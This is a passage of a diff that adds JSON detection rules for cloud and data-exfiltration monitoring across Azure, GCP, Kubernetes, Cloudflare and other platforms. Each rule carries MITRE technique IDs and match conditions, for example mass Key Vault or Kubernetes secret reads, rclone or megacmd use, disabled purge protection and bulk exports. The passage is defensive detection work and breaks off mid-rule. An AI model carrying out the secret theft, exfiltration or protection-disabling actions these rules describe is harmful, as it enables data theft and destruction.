+ "operation_name_endswith": "immutabilityPolicies/delete"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure Storage Immutability Policy Removed",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-storage-immutability-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-125",
+ "match_when": {
+ "delete_retention_enabled": false,
+ "operation_name_endswith": "blobServices/write"
+ },
+ "mitre": [
+ "T1490"
+ ],
+ "name": "Azure Blob Soft Delete Disabled",
+ "product": "azure",
+ "service": "activity",
+ "severity": "medium",
+ "slug": "azure-storage-soft-delete-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-126",
+ "match_when": {
+ "enable_purge_protection": false,
+ "operation_name_endswith": "vaults/write"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure Key Vault Purge Protection Disabled",
+ "product": "azure",
+ "service": "keyvault",
+ "severity": "high",
+ "slug": "azure-keyvault-purge-protection-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-127",
+ "match_when": {
+ "distinct_secrets_per_minute_gt": 30,
+ "operation_name": "SecretGet"
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "Azure Key Vault Mass GetSecret",
+ "product": "azure",
+ "service": "keyvault",
+ "severity": "high",
+ "slug": "azure-keyvault-secret-mass-get"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-128",
+ "match_when": {
+ "operation_name_endswith": "vaults/accessPolicies/write",
+ "permissions_contains": "all"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Azure Key Vault Access Policy Adds Permission '*'",
+ "product": "azure",
+ "service": "keyvault",
+ "severity": "critical",
+ "slug": "azure-keyvault-access-policy-broadened"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-129",
+ "match_when": {
+ "default_action": "Allow",
+ "operation_name_endswith": "vaults/write"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "Azure Key Vault Network ACL Allows All",
+ "product": "azure",
+ "service": "keyvault",
+ "severity": "high",
+ "slug": "azure-keyvault-firewall-allow-all"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-130",
+ "match_when": {
+ "exportable": true,
+ "operation_name_endswith": "keys/create"
+ },
+ "mitre": [
+ "T1552"
+ ],
+ "name": "Azure Key Vault Key Export Attribute Set",
+ "product": "azure",
+ "service": "keyvault",
+ "severity": "high",
+ "slug": "azure-keyvault-key-export-allowed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-131",
+ "match_when": {
+ "authorized_ip_ranges_empty": true,
+ "operation_name_endswith": "managedClusters/write",
+ "private_cluster": false
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "Azure AKS Cluster API With Public FQDN",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-aks-cluster-public-fqdn"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-132",
+ "match_when": {
+ "enable_rbac": false,
+ "operation_name_endswith": "managedClusters/write"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Azure AKS Cluster RBAC Disabled",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-aks-rbac-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-133",
+ "match_when": {
+ "operation_name_endswith": "virtualMachines/runCommand/action"
+ },
+ "mitre": [
+ "T1059"
+ ],
+ "name": "Azure VM RunCommand Invoked",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-vm-runcommand"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-134",
+ "match_when": {
+ "extension_type": "CustomScript",
+ "operation_name_endswith": "extensions/write"
+ },
+ "mitre": [
+ "T1059"
+ ],
+ "name": "Azure VM CustomScript Extension Installed",
+ "product": "azure",
+ "service": "activity",
+ "severity": "medium",
+ "slug": "azure-vm-extension-customscript"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-135",
+ "match_when": {
+ "encryption_enabled": false,
+ "operation_name_endswith": "encryptionExtensions/write"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure VM Disk Encryption Disabled",
+ "product": "azure",
+ "service": "activity",
+ "severity": "medium",
+ "slug": "azure-vm-disk-encryption-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-136",
+ "match_when": {
+ "added_member_in": [
+ "allUsers",
+ "allAuthenticatedUsers"
+ ],
+ "method_name_endswith": "SetIamPolicy"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "GCP IAM Binding Adds allUsers / allAuthenticatedUsers",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-iam-allusers-binding"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-137",
+ "match_when": {
+ "method_name_endswith": "DisableServiceAccount"
+ },
+ "mitre": [
+ "T1531"
+ ],
+ "name": "GCP Service Account Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-iam-service-account-disable"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-138",
+ "match_when": {
+ "method_name_endswith": "SetIamPolicy",
+ "role_added": "roles/iam.serviceAccountUser"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "GCP iam.serviceAccountUser Grant",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-service-account-actas-grant"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-139",
+ "match_when": {
+ "method_name_endswith": "SetIamPolicy",
+ "role_added": "roles/iam.serviceAccountTokenCreator"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "GCP iam.serviceAccountTokenCreator Grant",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-token-creator-grant"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-140",
+ "match_when": {
+ "method_name_endswith": "SetIamPolicy",
+ "role_added": "roles/billing.admin"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "GCP roles/billing.admin Granted",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-billing-admin-grant"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-141",
+ "match_when": {
+ "list_policy_all_values": "ALLOW",
+ "method_name_endswith": "SetOrgPolicy"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "GCP Organization Policy Constraint Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-org-policy-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-142",
+ "match_when": {
+ "events_per_minute_gt": 5,
+ "method_name_endswith": "CreateServiceAccountKey"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "GCP Service Account Key Burst",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-service-account-key-mass-create"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-143",
+ "match_when": {
+ "added_member_external_domain": true,
+ "method_name_endswith": "SetIamPolicy"
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "GCP IAM Binding To External Domain",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-grant-from-foreign-domain"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-144",
+ "match_when": {
+ "distinct_targets_per_minute_gt": 10,
+ "method_name_endswith": "GenerateAccessToken"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "GCP Service Account Impersonation Burst",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-impersonation-burst"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-145",
+ "match_when": {
+ "condition_removed": true,
+ "method_name_endswith": "SetIamPolicy"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "GCP IAM Conditional Binding Removed",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-iam-conditional-binding-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-146",
+ "match_when": {
+ "added_member_in": [
+ "allUsers",
+ "allAuthenticatedUsers"
+ ],
+ "method_name_endswith_any": [
+ "storage.setIamPermissions",
+ "storage.buckets.update"
+ ]
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "GCS Bucket IAM Granted To allUsers",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-gcs-bucket-iam-allusers"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-147",
+ "match_when": {
+ "method_name_endswith": "storage.buckets.update",
+ "uniform_bucket_level_access": false
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "GCS Uniform Bucket-Level Access Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-gcs-uniform-access-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-148",
+ "match_when": {
+ "events_per_minute_gt": 1000,
+ "method_name": "storage.objects.delete"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "GCS Mass Object Delete Burst",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-gcs-mass-delete"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-149",
+ "match_when": {
+ "method_name_endswith": "storage.buckets.removeRetentionPolicy"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "GCS Bucket Retention Policy Removed",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-gcs-bucket-retention-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-150",
+ "match_when": {
+ "method_name_endswith": "storage.buckets.update",
+ "versioning_enabled": false
+ },
+ "mitre": [
+ "T1490"
+ ],
+ "name": "GCS Object Versioning Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-gcs-versioning-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-151",
+ "match_when": {
+ "cors_origin": "*",
+ "method_name_endswith": "storage.buckets.update"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "GCS Bucket CORS Wildcard Origin",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-gcs-cors-wildcard"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-152",
+ "match_when": {
+ "anonymous_auth": true,
+ "method_name_endswith": "clusters.update"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "GKE Cluster Anonymous Auth Enabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-gke-rbac-anonymous"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-153",
+ "match_when": {
+ "authorized_networks_empty": true,
+ "method_name_endswith": "clusters.update",
+ "private_cluster": false
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "GKE Cluster Private Cluster Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-gke-private-cluster-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-154",
+ "match_when": {
+ "method_name_endswith": "clusters.update",
+ "workload_identity_config": null
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "GKE Workload Identity Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-gke-workload-identity-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-155",
+ "match_when": {
+ "method_name_endswith": "clusters.update",
+ "shielded_nodes": false
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "GKE Shielded Nodes Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-gke-shielded-nodes-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-156",
+ "match_when": {
+ "binary_authorization": false,
+ "method_name_endswith": "clusters.update"
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "GKE Binary Authorization Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-gke-binary-auth-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-157",
+ "match_when": {
+ "added_member_in": [
+ "allUsers",
+ "allAuthenticatedUsers"
+ ],
+ "method_name": "datasetservice.update"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "BigQuery Dataset ACL Adds allUsers",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-bq-dataset-allusers-access"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-158",
+ "match_when": {
+ "events_per_minute_gt": 5,
+ "job_type": "EXPORT",
+ "method_name_in": [
+ "jobservice.jobcompleted",
+ "jobs.insert"
+ ]
+ },
+ "mitre": [
+ "T1567.002"
+ ],
+ "name": "BigQuery Mass Export Burst",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-bq-mass-export"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-159",
+ "match_when": {
+ "method_name": "jobservice.jobcompleted",
+ "referenced_project_external": true
+ },
+ "mitre": [
+ "T1083"
+ ],
+ "name": "BigQuery Query Across External Project",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-bq-cross-project-query"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-160",
+ "match_when": {
+ "method_name": "tableservice.delete",
+ "table_age_minutes_lt": 60
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "BigQuery Table Deleted Within 1 Hour Of Creation",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-bq-table-deleted-recently-created"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-161",
+ "match_when": {
+ "kms_key_removed": true,
+ "method_name": "datasetservice.update"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "BigQuery Dataset CMEK Removed",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-bq-cmek-removed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-162",
+ "match_when": {
+ "method_name_endswith": "firewalls.insert",
+ "port_any": true,
+ "source_ranges_contains": "0.0.0.0/0"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "GCP Firewall Rule 0.0.0.0/0 With Any Port",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-compute-firewall-source-any-port-any"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-163",
+ "match_when": {
+ "external_ip_attached": true,
+ "label_internal": true,
+ "method_name_endswith": "instances.insert"
+ },
+ "mitre": [
+ "T1133"
+ ],
+ "name": "GCP Compute Public IP Attached To Instance",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-compute-instance-public-ip-attached"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-164",
+ "match_when": {
+ "metadata_oslogin": "FALSE",
+ "method_name_endswith": "projects.setCommonInstanceMetadata"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "GCP Project OS Login Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-compute-os-login-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-165",
+ "match_when": {
+ "method_name_endswith": "instances.update",
+ "shielded_instance_config": false
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "GCP Compute Shielded VM Disabled",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "gcp-compute-shielded-vm-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-166",
+ "match_when": {
+ "object_resource": "clusterrolebindings",
+ "role_ref_name": "cluster-admin",
+ "subject_namespace_not": "kube-system",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Kubernetes cluster-admin ClusterRoleBinding For Non-System Subject",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "k8s-cluster-admin-binding-non-system"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-167",
+ "match_when": {
+ "distinct_secrets_per_minute_gt": 30,
+ "object_resource": "secrets",
+ "verb": "get"
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "Kubernetes Secret Mass Get",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-secret-mass-get"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-168",
+ "match_when": {
+ "object_namespace_in": [
+ "prod",
+ "production"
+ ],
+ "object_resource": "pods/exec",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "Kubernetes pods/exec In Production Namespace",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-pod-exec-prod-namespace"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-169",
+ "match_when": {
+ "object_namespace_in": [
+ "prod",
+ "production"
+ ],
+ "object_resource": "pods/attach",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "Kubernetes pods/attach In Production Namespace",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "k8s-pod-attach-prod-namespace"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-170",
+ "match_when": {
+ "response_status_code_lt": 400,
+ "user_name": "system:anonymous"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Kubernetes Request By system:anonymous",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "k8s-anonymous-system-unauth"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-171",
+ "match_when": {
+ "object_resource_in": [
+ "roles",
+ "clusterroles"
+ ],
+ "rule_verbs_contains": "*",
+ "verb_in": [
+ "create",
+ "update"
+ ]
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Kubernetes Role Created With Wildcard Verb",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-rbac-wildcard-verb"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-172",
+ "match_when": {
+ "host_pid": true,
+ "object_resource": "pods",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Kubernetes Pod hostPID=true",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-pod-host-pid-enabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-173",
+ "match_when": {
+ "host_network": true,
+ "object_resource": "pods",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Kubernetes Pod hostNetwork=true",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-pod-host-network-enabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-174",
+ "match_when": {
+ "object_resource": "pods",
+ "privileged": true,
+ "verb": "create"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Kubernetes Privileged Container Created",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-pod-privileged-container"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-175",
+ "match_when": {
+ "object_resource": "validatingwebhookconfigurations",
+ "verb": "delete"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Kubernetes ValidatingWebhookConfiguration Deleted",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "k8s-validating-webhook-deleted"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-176",
+ "match_when": {
+ "object_resource": "mutatingwebhookconfigurations",
+ "verb_in": [
+ "create",
+ "update"
+ ],
+ "webhook_url_external": true
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Kubernetes MutatingWebhookConfiguration With External Endpoint",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-mutating-webhook-suspicious-target"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-177",
+ "match_when": {
+ "automount_token": true,
+ "object_resource": "pods",
+ "service_account": "default",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Kubernetes Pod Default ServiceAccount Token Mount",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "low",
+ "slug": "k8s-service-account-token-mount-default"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-178",
+ "match_when": {
+ "impersonated_user_in": [
+ "system:masters",
+ "kubernetes-admin"
+ ],
+ "verb_contains": "impersonate"
+ },
+ "mitre": [
+ "T1078.001"
+ ],
+ "name": "Kubernetes Impersonate Privileged User",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-impersonation-by-user"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-179",
+ "match_when": {
+ "object_name_in": [
+ "prod",
+ "production"
+ ],
+ "object_resource": "namespaces",
+ "verb": "delete"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Kubernetes Production Namespace Deleted",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "k8s-namespace-deletion-prod"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-180",
+ "match_when": {
+ "object_namespace_in": [
+ "prod",
+ "production"
+ ],
+ "object_resource": "networkpolicies",
+ "verb": "delete"
+ },
+ "mitre": [
+ "T1562.004"
+ ],
+ "name": "Kubernetes NetworkPolicy Deleted In Production",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "k8s-network-policy-deleted-prod"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-181",
+ "match_when": {
+ "action": "zone.transfer_out"
+ },
+ "mitre": [
+ "T1583.001"
+ ],
+ "name": "Cloudflare Zone Transferred Out Of Account",
+ "product": "cloudflare",
+ "service": "audit",
+ "severity": "high",
+ "slug": "cloud-cloudflare-zone-transfer"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-182",
+ "match_when": {
+ "action_in": [
+ "firewall_rule.disable",
+ "waf_rule.disable"
+ ]
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Cloudflare WAF Rule Disabled",
+ "product": "cloudflare",
+ "service": "audit",
+ "severity": "high",
+ "slug": "cloud-cloudflare-waf-rule-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-183",
+ "match_when": {
+ "action": "access_policy.create",
+ "decision": "bypass"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Cloudflare Access Policy Bypass Granted",
+ "product": "cloudflare",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "cloud-cloudflare-access-policy-bypass"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-184",
+ "match_when": {
+ "action": "snapshot.transfer",
+ "destination_account_external": true
+ },
+ "mitre": [
+ "T1537"
+ ],
+ "name": "DigitalOcean Droplet Snapshot Transferred",
+ "product": "digitalocean",
+ "service": "api",
+ "severity": "high",
+ "slug": "cloud-do-droplet-snapshot-shared"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-185",
+ "match_when": {
+ "compartment": "tenancy",
+ "event_name": "AddUserToGroup",
+ "group": "Administrators"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "OCI Tenant Administrators Group Membership Added",
+ "product": "oci",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "cloud-oci-iam-tenant-admin-binding"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-186",
+ "match_when": {
+ "bytes_out_per_minute_gt": 1073741824,
+ "dst_cloud_in": [
+ "aws",
+ "azure",
+ "gcp"
+ ],
+ "src_cloud_in": [
+ "aws",
+ "azure",
+ "gcp"
+ ],
+ "src_cloud_neq_dst_cloud": true
+ },
+ "mitre": [
+ "T1567"
+ ],
+ "name": "Multi-Cloud Cross-Cloud Mass Egress Burst",
+ "product": "multi-cloud",
+ "service": "netflow",
+ "severity": "high",
+ "slug": "cloud-multi-cross-cloud-mass-egress"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-187",
+ "match_when": {
+ "action": "manual_override",
+ "approver_in": [
+ "self"
+ ],
+ "out_of_hours": true
+ },
+ "mitre": [
+ "T1610"
+ ],
+ "name": "Infra-As-Code Drift Bypassed With Manual Override",
+ "product": "multi-cloud",
+ "service": "iac",
+ "severity": "medium",
+ "slug": "cloud-iac-drift-bypassed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-188",
+ "match_when": {
+ "action": "state.modify",
+ "actor_in_pipeline": false
+ },
+ "mitre": [
+ "T1565.001"
+ ],
+ "name": "Terraform State File Modified Outside Pipeline",
+ "product": "multi-cloud",
+ "service": "iac",
+ "severity": "high",
+ "slug": "cloud-terraform-state-modified-direct"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-189",
+ "match_when": {
+ "event_name_in": [
+ "UpdateSAMLProvider",
+ "Update federation configuration",
+ "SetIdentityProvider"
+ ],
+ "metadata_url_changed": true
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "Cloud Provider SAML IdP Trust Changed",
+ "product": "multi-cloud",
+ "service": "iam",
+ "severity": "high",
+ "slug": "cloud-saml-idp-trust-changed"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-190",
+ "match_when": {
+ "actor_eq_target": false,
+ "event_name_in": [
+ "UpdateAccountEmail",
+ "Update tenant primary contact",
+ "ChangeRootMail"
+ ]
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Cloud Provider Root/Owner Email Modified",
+ "product": "multi-cloud",
+ "service": "iam",
+ "severity": "critical",
+ "slug": "cloud-org-rootmail-modified"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-001",
+ "match_when": {
+ "bytes_out_gt": 100000000,
+ "dst_in_personal_cloud_list": true,
+ "time_window_minutes_lt": 60
+ },
+ "mitre": [
+ "T1567.002"
+ ],
+ "name": "Large Outbound Transfer to Personal Cloud Storage",
+ "product": "proxy",
+ "service": "http",
+ "severity": "high",
+ "slug": "large-egress-personal-cloud"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-002",
+ "match_when": {
+ "baseline_z_score_gt": 4,
+ "bytes_out_per_src_gt": 200000000
+ },
+ "mitre": [
+ "T1041"
+ ],
+ "name": "Outbound Bytes Spike Above Baseline (Anomaly)",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "egress-spike-baseline"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-003",
+ "match_when": {
+ "image_basename_in": [
+ "rclone.exe",
+ "rclone",
+ "megacmd",
+ "megacmd.exe"
+ ]
+ },
+ "mitre": [
+ "T1567.002"
+ ],
+ "name": "rclone or megacmd Process Spawned on Host",
+ "product": "edr",
+ "service": "process-create",
+ "severity": "high",
+ "slug": "rclone-process-on-host"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-004",
+ "match_when": {
+ "archive_seen_within_minutes_lt": 15,
+ "egress_bytes_gt": 100000000
+ },
+ "mitre": [
+ "T1560.001",
+ "T1041"
+ ],
+ "name": "Archive Tool Then Large Egress Within 15 Minutes",
+ "product": "edr",
+ "service": "correlated",
+ "severity": "high",
+ "slug": "archive-then-egress"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-005",
+ "match_when": {
+ "event_type": "drive.acl.change",
+ "share_target_domain_in_allowlist": false,
+ "share_target_external": true
+ },
+ "mitre": [
+ "T1567"
+ ],
+ "name": "SaaS File Shared to External Domain",
+ "product": "google-workspace",
+ "service": "drive",
+ "severity": "medium",
+ "slug": "data-share-external-domain"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-006",
+ "match_when": {
+ "actor_in_export_allowlist": false,
+ "event_type_in": [
+ "DataExport",
+ "ReportExport"
+ ],
+ "row_count_gt": 50000
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Salesforce Bulk Data Export by Non-Allowlisted User",
+ "product": "salesforce",
+ "service": "audit",
+ "severity": "high",
+ "slug": "salesforce-bulk-export"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-007",
+ "match_when": {
+ "event_type": "QUERY",
+ "rows_produced_gt": 1000000,
+ "user_type": "human"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Snowflake Large Result-Set Download by Non-Service Account",
+ "product": "snowflake",
+ "service": "queryhistory",
+ "severity": "high",
+ "slug": "snowflake-mass-export"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-008",
+ "match_when": {
+ "baseline_z_score_gt": 4,
+ "event_type": "SQL_SELECT",
+ "rows_read_per_session_gt": 500000
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Database Application Reads Anomalously High Row Count",
+ "product": "db",
+ "service": "query",
+ "severity": "medium",
+ "slug": "db-mass-row-read"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-009",
+ "match_when": {
+ "bytes_out_gt": 50000000,
+ "hour_of_day_local_not_in": [
+ 7,
+ 8,
+ 9,
+ 10,
+ 11,
+ 12,
+ 13,
+ 14,
+ 15,
+ 16,
+ 17,
+ 18,
+ 19
+ ]
+ },
+ "mitre": [
+ "T1041"
+ ],
+ "name": "Bulk Download Outside Business Hours",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "off-hours-bulk-download"
+ },
+ {
+ "category": "data-exfil",
+ "id": "det-data-exfil-010",
+ "match_when": {
